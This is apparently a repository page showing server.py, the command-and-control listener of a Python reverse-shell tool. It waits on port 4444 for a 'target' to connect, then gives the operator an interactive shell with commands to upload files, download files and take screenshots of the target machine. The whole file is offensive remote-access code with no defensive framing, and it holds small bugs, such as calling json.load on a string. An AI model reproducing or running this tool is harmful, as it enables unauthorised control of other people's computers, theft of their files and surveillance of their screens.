Repository navigation
Expand file tree
/
Copy pathserver.py
More file actions
88 lines (80 loc) · 2.44 KB
/
Copy pathserver.py
File metadata and controls
88 lines (80 loc) · 2.44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import os
import socket
import termcolor
from termcolor import colored
import json
import subprocess
def data_recv():
data = ''
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.load(data)
except ValueError:
continue
def data_send(data):
jsondata = json.dumps(data)
target.send(jsondata.encode())
def upload_file(file):
f = open(file, 'rb')
target.send(f.read())
def download_file(file):
f = open(file, 'wb')
target.settimeout(5)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
def t_commun():
count = 0
while True:
comm = input('* Shell~%s: ' % str(ip))
data_send(comm)
if comm == 'exit':
break
elif comm == 'clear':
os.system('clear')
elif comm [:3] == 'cd ':
pass
elif comm [:6] == 'upload':
upload_file(comm[7:])
elif comm [:8] == 'download':
download_file(comm[9:])
elif comm [:10] == 'screenshot':
f = open('screenshot%d' % (count), 'wb')
target.settimeout(5)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
count += 1
elif comm == 'help':
print(colored('''\n
exit: Close the session on the Target Machine.
clear: Clean the screen from Terminal.
cd + "DirectoryName": Change the Directory on the Target Machine. cd ../../
upload + "FileName": Send a file to the Target Machine.
download + "FileName": Download a file from the Target Machine.
screenshot: Takes a screenshot from the Target Machine.
help: Help the user to use the commands.
'''), 'green')
else:
answer = data_recv()
print(answer)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('192.168.0.0', 4444))
print(colored('[-] waiting for connections', 'green'))
sock.listen(5)
target, ip = sock.accept()
print(colored('+ Connected with: ' + str(ip), 'green'))
t_commun()